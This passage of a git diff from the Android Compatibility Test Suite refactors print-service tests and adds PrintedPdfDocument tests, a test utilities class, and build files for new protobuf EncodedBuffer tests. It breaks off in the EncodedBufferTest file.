-                                                    e = null;
-                                                    try {
-                                                        b = new PrinterInfo.Builder(
-                                                                printerId, name, status);
-                                                    } catch (RuntimeException ex) {
-                                                        e = ex;
-                                                    }
-
-                                                    // Expect exception if any of the parameters was
-                                                    // bad
-                                                    if (printerId == null
-                                                            || TextUtils.isEmpty(name)
-                                                            || !isValidStatus(status)) {
-                                                        if (e == null) {
-                                                            throw new IllegalStateException();
-                                                        } else {
-                                                            b = badPrinter;
-                                                        }
-                                                    } else if (e != null) {
-                                                        throw e;
-                                                    }
-
-                                                    // IconResourceId
-                                                    e = null;
-                                                    try {
-                                                        b.setIconResourceId(iconResourceId);
-                                                    } catch (RuntimeException ex) {
-                                                        e = ex;
-                                                    }
-
-                                                    // Expect exception if iconResourceId was bad
-                                                    // We do allow invalid Ids as the printerInfo
-                                                    // might be created after the package of the
-                                                    // printer is already gone if the printer is a
-                                                    // historical printer.
-                                                    if (iconResourceId < 0) {
-                                                        if (e == null) {
-                                                            throw new IllegalStateException();
-                                                        } else {
-                                                            b = badPrinter;
-                                                        }
-                                                    } else if (e != null) {
-                                                        throw e;
-                                                    }
-
-                                                    // Status
-                                                    e = null;
-                                                    try {
-                                                        b.setStatus(status);
-                                                    } catch (RuntimeException ex) {
-                                                        e = ex;
-                                                    }
-
-                                                    // Expect exception is status is not valid
-                                                    if (!isValidStatus(status)) {
-                                                        if (e == null) {
-                                                            throw new IllegalStateException();
-                                                        } else {
-                                                            b = badPrinter;
-                                                        }
-                                                    } else if (e != null) {
-                                                        throw e;
-                                                    }
-
-                                                    // Name
-                                                    e = null;
-                                                    try {
-                                                        b.setName(name);
-                                                    } catch (RuntimeException ex) {
-                                                        e = ex;
-                                                    }
-
-                                                    // Expect exception if name is empty
-                                                    if (TextUtils.isEmpty(name)) {
-                                                        if (e == null) {
-                                                            throw new IllegalStateException();
-                                                        } else {
-                                                            b = badPrinter;
-                                                        }
-                                                    } else if (e != null) {
-                                                        throw e;
-                                                    }
-
-                                                    // hasCustomPrinterIcon
-                                                    b.setHasCustomPrinterIcon(hasCustomPrinterIcon);
-
-                                                    // Description
-                                                    b.setDescription(description);
-
-                                                    // InfoIntent
-                                                    b.setInfoIntent(infoIntent);
-
-                                                    // Capabilities
-                                                    b.setCapabilities(capabilities);
-
-                                                    PrinterInfo printer = b.build();
-
-                                                    // Don't create bad printers
-                                                    if (b == badPrinter) {
-                                                        continue;
-                                                    }
-
-                                                    // Verify get* methods
-                                                    if (printer.getId() != printerId
-                                                            || printer.getName() != name
-                                                            || printer.getStatus() != status
-                                                            || printer
-                                                                    .getDescription() != description
-                                                            || printer.getCapabilities()
-                                                                    != capabilities) {
+                                                // Expect exception if localId is null
+                                                if (localPrinterId == null) {
+                                                    if (e == null) {
                                                         throw new IllegalStateException();
                                                     }
-
-                                                    printers.add(printer);
+                                                } else if (e != null) {
+                                                    throw e;
                                                 }
+
+                                                // Constructor
+                                                PrinterInfo.Builder b = null;
+                                                e = null;
+                                                try {
+                                                    b = new PrinterInfo.Builder(
+                                                            printerId, name, status);
+                                                } catch (RuntimeException ex) {
+                                                    e = ex;
+                                                }
+
+                                                // Expect exception if any of the parameters was
+                                                // bad
+                                                if (printerId == null
+                                                        || TextUtils.isEmpty(name)
+                                                        || !isValidStatus(status)) {
+                                                    if (e == null) {
+                                                        throw new IllegalStateException();
+                                                    } else {
+                                                        b = badPrinter;
+                                                    }
+                                                } else if (e != null) {
+                                                    throw e;
+                                                }
+
+                                                // IconResourceId
+                                                e = null;
+                                                try {
+                                                    b.setIconResourceId(iconResourceId);
+                                                } catch (RuntimeException ex) {
+                                                    e = ex;
+                                                }
+
+                                                // Expect exception if iconResourceId was bad
+                                                // We do allow invalid Ids as the printerInfo
+                                                // might be created after the package of the
+                                                // printer is already gone if the printer is a
+                                                // historical printer.
+                                                if (iconResourceId < 0) {
+                                                    if (e == null) {
+                                                        throw new IllegalStateException();
+                                                    } else {
+                                                        b = badPrinter;
+                                                    }
+                                                } else if (e != null) {
+                                                    throw e;
+                                                }
+
+                                                // Status
+                                                e = null;
+                                                try {
+                                                    b.setStatus(status);
+                                                } catch (RuntimeException ex) {
+                                                    e = ex;
+                                                }
+
+                                                // Expect exception is status is not valid
+                                                if (!isValidStatus(status)) {
+                                                    if (e == null) {
+                                                        throw new IllegalStateException();
+                                                    } else {
+                                                        b = badPrinter;
+                                                    }
+                                                } else if (e != null) {
+                                                    throw e;
+                                                }
+
+                                                // Name
+                                                e = null;
+                                                try {
+                                                    b.setName(name);
+                                                } catch (RuntimeException ex) {
+                                                    e = ex;
+                                                }
+
+                                                // Expect exception if name is empty
+                                                if (TextUtils.isEmpty(name)) {
+                                                    if (e == null) {
+                                                        throw new IllegalStateException();
+                                                    } else {
+                                                        b = badPrinter;
+                                                    }
+                                                } else if (e != null) {
+                                                    throw e;
+                                                }
+
+                                                // hasCustomPrinterIcon
+                                                b.setHasCustomPrinterIcon(hasCustomPrinterIcon);
+
+                                                // Description
+                                                b.setDescription(description);
+
+                                                // InfoIntent
+                                                b.setInfoIntent(infoIntent);
+
+                                                // Capabilities
+                                                b.setCapabilities(capabilities);
+
+                                                PrinterInfo printer = b.build();
+
+                                                // Don't create bad printers
+                                                if (b == badPrinter) {
+                                                    continue;
+                                                }
+
+                                                // Verify get* methods
+                                                if (printer.getId() != printerId
+                                                        || printer.getName() != name
+                                                        || printer.getStatus() != status
+                                                        || printer
+                                                                .getDescription() != description
+                                                        || printer.getCapabilities()
+                                                                != capabilities) {
+                                                    throw new IllegalStateException();
+                                                }
+
+                                                printers.add(printer);
                                             }
                                         }
                                     }
@@ -353,34 +285,15 @@
                             }
                         }
                     }
-
-                    mDiscoverySession.addPrinters(printers);
                 }
-                return null;
-            }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                CustomPrinterIconCallback callback = (CustomPrinterIconCallback) invocation
-                        .getArguments()[2];
 
-                if (mIcon != null) {
-                    callback.onCustomPrinterIconLoaded(mIcon);
-                }
-                return null;
+                sDiscoverySession.addPrinters(printers);
             }
-        }, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Take a note onDestroy was called.
-                onPrinterDiscoverySessionDestroyCalled();
-                return null;
-            }
+            return null;
+        }, null, null, invocation -> null, invocation -> null, null, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
         });
     }
 
@@ -392,12 +305,7 @@
     private PrintServiceCallbacks createFirstMockPrinterServiceCallbacks(
             final PrinterDiscoverySessionCallbacks sessionCallbacks) {
         return createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return sessionCallbacks;
-                    }
-                },
+                invocation -> sessionCallbacks,
                 null, null);
     }
 
@@ -406,11 +314,8 @@
      *
      * @throws Exception If anything is unexpected.
      */
-    public void testPrinterInfos()
-            throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
+    @Test
+    public void printerInfos() throws Exception {
         // Create the session of the printers that we will be checking.
         PrinterDiscoverySessionCallbacks sessionCallbacks
                 = createFirstMockPrinterDiscoverySessionCallbacks();
@@ -426,7 +331,7 @@
         SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
diff --git a/tests/tests/print/src/android/print/cts/Utils.java b/tests/tests/print/src/android/print/cts/Utils.java
new file mode 100644
index 0000000..93f5632
--- /dev/null
+++ b/tests/tests/print/src/android/print/cts/Utils.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.cts;
+
+import android.content.Context;
+import android.os.Handler;
+import android.os.Looper;
+import android.print.PrintJob;
+import android.print.PrintManager;
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+/**
+ * Utilities for print tests
+ */
+public class Utils {
+    private static final String LOG_TAG = "Utils";
+
+    /**
+     * A {@link Runnable} that can throw an {@link Throwable}.
+     */
+    public interface Invokable {
+        void run() throws Throwable;
+    }
+
+    /**
+     * Run a {@link Invokable} and expect and {@link Throwable} of a certain type.
+     *
+     * @param r             The {@link Invokable} to run
+     * @param expectedClass The expected {@link Throwable} type
+     */
+    public static void assertException(@NonNull Invokable r,
+            @NonNull Class<? extends Throwable> expectedClass) throws Throwable {
+        try {
+            r.run();
+        } catch (Throwable e) {
+            if (e.getClass().isAssignableFrom(expectedClass)) {
+                return;
+            } else {
+                Log.e(LOG_TAG, "Expected: " + expectedClass.getName() + ", got: "
+                        + e.getClass().getName());
+                throw e;
+            }
+        }
+
+        throw new AssertionError("No throwable thrown");
+    }
+
+    /**
+     * Run a {@link Invokable} on the main thread and forward the {@link Throwable} if one was
+     * thrown.
+     *
+     * @param r The {@link Invokable} to run
+     *
+     * @throws Throwable If the {@link Runnable} caused an issue
+     */
+    static void runOnMainThread(@NonNull final Invokable r) throws Throwable {
+        final Object synchronizer = new Object();
+        final Throwable[] thrown = new Throwable[1];
+
+        synchronized (synchronizer) {
+            (new Handler(Looper.getMainLooper())).post(() -> {
+                synchronized (synchronizer) {
+                    try {
+                        r.run();
+                    } catch (Throwable t) {
+                        thrown[0] = t;
+                    }
+
+                    synchronizer.notify();
+                }
+            });
+
+            synchronizer.wait();
+        }
+
+        if (thrown[0] != null) {
+            throw thrown[0];
+        }
+    }
+
+    /**
+     * Make sure that a {@link Invokable} eventually finishes without throwing a {@link Throwable}.
+     *
+     * @param r The {@link Invokable} to run.
+     */
+    public static void eventually(@NonNull Invokable r) throws Throwable {
+        long start = System.currentTimeMillis();
+
+        while (true) {
+            try {
+                r.run();
+                break;
+            } catch (Throwable e) {
+                if (System.currentTimeMillis() - start < BasePrintTest.OPERATION_TIMEOUT_MILLIS) {
+                    Log.e(LOG_TAG, "Ignoring exception", e);
+
+                    try {
+                        Thread.sleep(500);
+                    } catch (InterruptedException e1) {
+                        Log.e(LOG_TAG, "Interrupted", e);
+                    }
+                } else {
+                    throw e;
+                }
+            }
+        }
+    }
+
+    /**
+     * @param name Name of print job
+     *
+     * @return The print job for the name
+     *
+     * @throws Exception If print job could not be found
+     */
+    static @NonNull PrintJob getPrintJob(@NonNull PrintManager pm, @NonNull String name)
+            throws Exception {
+        for (android.print.PrintJob job : pm.getPrintJobs()) {
+            if (job.getInfo().getLabel().equals(name)) {
+                return job;
+            }
+        }
+
+        throw new Exception("Print job " + name + " not found in " + pm.getPrintJobs());
+    }
+
+    /**
+     * @return The print manager
+     */
+    static @NonNull PrintManager getPrintManager(@NonNull Context context) {
+        return (PrintManager) context.getSystemService(Context.PRINT_SERVICE);
+    }
+}
diff --git a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java b/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
index dd5ac44..cf52ece 100644
--- a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
+++ b/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
@@ -28,7 +28,7 @@
  */
 public class CustomPrintOptionsActivity extends Activity {
     /** Lock for {@link #sCallback} */
-    private static Object sLock = new Object();
+    private static final Object sLock = new Object();
 
     /** Currently registered callback for _both_ first and second print service. */
     private static CustomPrintOptionsCallback sCallback = null;
diff --git a/tests/tests/print/src/android/print/cts/services/InfoActivity.java b/tests/tests/print/src/android/print/cts/services/InfoActivity.java
new file mode 100644
index 0000000..22c1bb5
--- /dev/null
+++ b/tests/tests/print/src/android/print/cts/services/InfoActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package android.print.cts.services;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+import java.util.Observable;
+
+public class InfoActivity extends Activity {
+    public interface Observer {
+        void onCreate(Activity createdActivity);
+    }
+
+    private static final ArrayList<Observer> sObservers = new ArrayList<>();
+
+    public static void addObserver(Observer observer) {
+        synchronized (sObservers) {
+            sObservers.add(observer);
+        }
+    }
+
+    public static void clearObservers() {
+        synchronized (sObservers) {
+            sObservers.clear();
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        synchronized (sObservers) {
+            ArrayList<Observer> observers = (ArrayList<Observer>) sObservers.clone();
+
+            for (Observer observer : observers) {
+                observer.onCreate(this);
+            }
+        }
+    }
+}
diff --git a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java b/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
index ff0245f..749e8a9 100644
--- a/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
+++ b/tests/tests/print/src/android/print/cts/services/PrintServiceCallbacks.java
@@ -17,17 +17,16 @@
 package android.print.cts.services;
 
 import android.printservice.PrintJob;
-import android.printservice.PrintService;
 
 public abstract class PrintServiceCallbacks {
 
-    private PrintService mService;
+    private StubbablePrintService mService;
 
-    public PrintService getService() {
+    public StubbablePrintService getService() {
         return mService;
     }
 
-    public void setService(PrintService service) {
+    public void setService(StubbablePrintService service) {
         mService = service;
     }
 
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java b/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
index 2686b41..8c3b89b 100644
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
+++ b/tests/tests/print/src/android/print/cts/services/StubbablePrintService.java
@@ -16,10 +16,13 @@
 
 package android.print.cts.services;
 
+import android.content.Context;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
 import android.printservice.PrinterDiscoverySession;
 
+import java.util.List;
+
 public abstract class StubbablePrintService extends PrintService {
 
     @Override
@@ -49,4 +52,13 @@
     }
 
     protected abstract PrintServiceCallbacks getCallbacks();
+
+    public void callAttachBaseContext(Context base) {
+        attachBaseContext(base);
+    }
+
+    public List<PrintJob> callGetActivePrintJobs() {
+        return getActivePrintJobs();
+    }
+
 }
diff --git a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java b/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
index b7cccaa..e0ec1c1 100644
--- a/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
+++ b/tests/tests/print/src/android/print/cts/services/StubbablePrinterDiscoverySession.java
@@ -16,6 +16,7 @@
 
 package android.print.cts.services;
 
+import android.support.annotation.NonNull;
 import android.os.CancellationSignal;
 import android.print.PrinterId;
 import android.printservice.CustomPrinterIconCallback;
@@ -42,7 +43,7 @@
     }
 
     @Override
-    public void onStartPrinterDiscovery(List<PrinterId> priorityList) {
+    public void onStartPrinterDiscovery(@NonNull List<PrinterId> priorityList) {
         if (mCallbacks != null) {
             mCallbacks.onStartPrinterDiscovery(priorityList);
         }
@@ -56,29 +57,30 @@
     }
 
     @Override
-    public void onValidatePrinters(List<PrinterId> printerIds) {
+    public void onValidatePrinters(@NonNull List<PrinterId> printerIds) {
         if (mCallbacks != null) {
             mCallbacks.onValidatePrinters(printerIds);
         }
     }
 
     @Override
-    public void onStartPrinterStateTracking(PrinterId printerId) {
+    public void onStartPrinterStateTracking(@NonNull PrinterId printerId) {
         if (mCallbacks != null) {
             mCallbacks.onStartPrinterStateTracking(printerId);
         }
     }
 
     @Override
-    public void onRequestCustomPrinterIcon(PrinterId printerId,
-            CancellationSignal cancellationSignal, CustomPrinterIconCallback callback) {
+    public void onRequestCustomPrinterIcon(@NonNull PrinterId printerId,
+            @NonNull CancellationSignal cancellationSignal,
+            @NonNull CustomPrinterIconCallback callback) {
         if (mCallbacks != null) {
             mCallbacks.onRequestCustomPrinterIcon(printerId, cancellationSignal, callback);
         }
     }
 
     @Override
-    public void onStopPrinterStateTracking(PrinterId printerId) {
+    public void onStopPrinterStateTracking(@NonNull PrinterId printerId) {
         if (mCallbacks != null) {
             mCallbacks.onStopPrinterStateTracking(printerId);
         }
diff --git a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
new file mode 100644
index 0000000..344bcfc
--- /dev/null
+++ b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.pdf.cts;
+
+import android.content.Context;
+import android.graphics.Rect;
+import android.graphics.pdf.PdfDocument;
+import android.print.PrintAttributes;
+import android.print.pdf.PrintedPdfDocument;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static android.print.cts.Utils.assertException;
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Tests {@link PrintedPdfDocument}. This class is a subclass of {@link PdfDocument}, hence only the
+ * overridden methods are tested.
+ */
+@RunWith(AndroidJUnit4.class)
+public class PrintedPdfDocumentTest {
+    private static final PrintAttributes.Margins ZERO_MARGINS = new PrintAttributes.Margins(0, 0, 0,
+            0);
+    private static Context sContext;
+
+    @BeforeClass
+    public static void setUp() {
+        sContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
+    public void createWithNullAttributes() throws Throwable {
+        assertException(() -> new PrintedPdfDocument(sContext, null), NullPointerException.class);
+    }
+
+    @Test
+    public void createWithNullMediaSize() throws Throwable {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS).build();
+        assertException(() -> new PrintedPdfDocument(sContext, attr), NullPointerException.class);
+    }
+
+    @Test
+    public void createWithNullMargins() throws Throwable {
+        PrintAttributes attr = new PrintAttributes.Builder()
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+        assertException(() -> new PrintedPdfDocument(sContext, attr),
+                NullPointerException.class);
+    }
+
+    @Test
+    public void createWithNullContext() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        // Legacy: Context is not used and not checked for null-ness
+        PrintedPdfDocument doc = new PrintedPdfDocument(null, attr);
+        doc.close();
+    }
+
+    @Test
+    public void startPage() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        PdfDocument.Page page = doc.startPage(0);
+        doc.finishPage(page);
+        doc.close();
+    }
+
+    @Test
+    public void oneMilPageSize() throws Throwable {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(new PrintAttributes.MediaSize("oneMil", "oneMil", 1, 1)).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+
+        // We get an illegal argument exception here as a single mil of page size is converted to 0
+        // pts.
+        assertEquals(0, milsToPts(attr.getMediaSize().getHeightMils()));
+        assertException(() -> doc.startPage(0), IllegalArgumentException.class);
+
+        doc.close();
+    }
+
+    /**
+     * Converts mils (1000th of an inch) to postscript points (72th of an inch).
+     *
+     * @param mils The distance in mils
+     *
+     * @return The distance in Postscript points
+     */
+    private int milsToPts(int mils) {
+        return (int) (((float) mils / 1000) * 72);
+    }
+
+    @Test
+    public void getPageWidth() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        assertEquals(milsToPts(attr.getMediaSize().getWidthMils()), doc.getPageWidth());
+        doc.close();
+    }
+
+    @Test
+    public void getPageHeight() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        assertEquals(milsToPts(attr.getMediaSize().getHeightMils()), doc.getPageHeight());
+        doc.close();
+    }
+
+    @Test
+    public void getContentRect() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        assertEquals(new Rect(0, 0, milsToPts(attr.getMediaSize().getWidthMils()),
+                milsToPts(attr.getMediaSize().getHeightMils())), doc.getPageContentRect());
+        doc.close();
+    }
+
+    @Test
+    public void getContentRectBigMargins() throws Exception {
+        PrintAttributes.Margins margins = new PrintAttributes.Margins(50, 60, 70, 80);
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(margins)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        assertEquals(new Rect(milsToPts(margins.getLeftMils()), milsToPts(margins.getTopMils()),
+                milsToPts(attr.getMediaSize().getWidthMils()) - milsToPts(margins.getRightMils()),
+                milsToPts(attr.getMediaSize().getHeightMils()) -
+                        milsToPts(margins.getBottomMils())), doc.getPageContentRect());
+        doc.close();
+    }
+
+    @Test
+    public void getPageHeightAfterClose() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        doc.close();
+        assertEquals(milsToPts(attr.getMediaSize().getHeightMils()), doc.getPageHeight());
+    }
+
+    @Test
+    public void getPageWidthAfterClose() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        doc.close();
+        assertEquals(milsToPts(attr.getMediaSize().getWidthMils()), doc.getPageWidth());
+    }
+
+    @Test
+    public void getContentRectAfterClose() throws Exception {
+        PrintAttributes attr = new PrintAttributes.Builder().setMinMargins(ZERO_MARGINS)
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4).build();
+
+        PrintedPdfDocument doc = new PrintedPdfDocument(sContext, attr);
+        doc.close();
+        assertEquals(new Rect(0, 0, milsToPts(attr.getMediaSize().getWidthMils()),
+                milsToPts(attr.getMediaSize().getHeightMils())), doc.getPageContentRect());
+    }
+}
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
new file mode 100644
index 0000000..23dba67
--- /dev/null
+++ b/tests/tests/proto/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+    $(call all-proto-files-under, src)
+
+LOCAL_PROTOC_OPTIMIZE_TYPE := nano
+
+LOCAL_PACKAGE_NAME := CtsProtoTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+#LOCAL_SDK_VERSION := current
+LOCAL_JAVA_LIBRARIES += android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+        ctstestrunner
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/proto/AndroidManifest.xml b/tests/tests/proto/AndroidManifest.xml
new file mode 100644
index 0000000..b8af5d0
--- /dev/null
+++ b/tests/tests/proto/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.util.proto.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".Whatever" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.util.proto.cts"
+                     android:label="CTS tests of android.util.proto">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/proto/AndroidTest.xml b/tests/tests/proto/AndroidTest.xml
new file mode 100644
index 0000000..025fc26
--- /dev/null
+++ b/tests/tests/proto/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for Proto Tests">
+    <option name="config-descriptor:metadata" key="component" value="metrics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsProtoTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.util.proto.cts" />
+        <option name="runtime-hint" value="5s" />
+    </test>
+</configuration>
diff --git a/tests/tests/proto/src/android/util/proto/cts/EncodedBufferTest.java b/tests/tests/proto/src/android/util/proto/cts/EncodedBufferTest.java
new file mode 100644
index 0000000..e29bb21
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/EncodedBufferTest.java
@@ -0,0 +1,362 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.EncodedBuffer;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the EncodedBuffer class.
+ *
+ * Most of the tests here operate on an EncodedBuffer with two different chunk sizes,
+ * the default size, which checks that the code is operating as it usually does, and
+ * with the chunk size set to 1, which forces the boundary condition at the write of
+ * every byte.
+ */
+public class EncodedBufferTest extends TestCase {
+    private static final String TAG = "EncodedBufferTest";
+
+    public void assertEquals(byte[] expected, EncodedBuffer actual) {
+        if (expected == null) {
+            expected = new byte[0];
+        }
+        assertEquals("actual.getWritePos() == expected.length", expected.length,
+                actual.getWritePos());
+        Assert.assertArrayEquals(expected, actual.getBytes(expected.length));
+    }
+
+    /**
